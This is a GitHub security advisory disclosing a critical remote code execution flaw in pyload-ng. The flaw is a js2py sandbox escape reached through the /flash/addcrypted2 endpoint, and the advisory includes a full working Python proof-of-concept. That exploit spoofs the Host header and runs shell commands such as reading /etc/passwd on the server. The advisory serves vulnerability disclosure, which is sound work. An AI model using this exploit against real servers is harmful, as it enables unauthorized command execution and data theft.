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RCE with js2py sandbox escape

Critical
GammaC0de published GHSA-r9pp-r4xf-597r Sep 7, 2024

Package

pip pyload-ng (pip)

Affected versions

<=0.5.0b3.dev85

Patched versions

None

Description

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()

Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng don't use js2py for python3.12 or above.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

No known CVE

Weaknesses

No CWEs

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